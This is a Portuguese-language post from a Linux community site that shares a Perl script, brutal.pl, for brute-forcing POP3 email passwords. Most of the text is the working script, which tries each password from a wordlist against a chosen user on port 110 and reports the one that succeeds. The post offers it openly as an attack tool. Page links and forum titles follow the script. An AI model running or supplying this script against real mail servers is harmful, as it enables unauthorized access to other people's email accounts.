Brutal Force Attack
Publicado por Fábio Berbert de Paula 13/11/2002
[ Hits: 16.393 ]
Homepage: https://fabio.automatizando.dev
Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.
#!/usr/bin/perl
#############################################
# brutal.pl
#
# Programa que simula um ataque brutal force
# em servidores de email através da tentativa
# de invasão por adivinhação de senha.
#
# Programado por: Fábio Berbert de Paula
# E-mail: fabio@vivaolinux.com.br
# Web Site: www.vivaolinux.com.br
#
# Rio de Janeiro, 12 de Agosto de 2002
# ##########################################
use strict;
use IO::Socket;
if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;
print "Tentativa: $passwd ...\n";
my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);
if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}
$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);
if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}
$connex -> close;
sleep(5);
}
sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Testando multiplos servers a ataque DoS
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Instalando partes faltantes do Plasma 6
Adicionar botão "mostrar área de trabalho" no Zorin OS
Como montar um servidor de backup no linux
Estou tentando ser legalista, mas tá complicado! (9)
espelhar monitores nao funciona (2)
SQLITE não quer funcionar no LINUX LMDE6 64 com Lazaruz 4.2 64bit (n... (1)









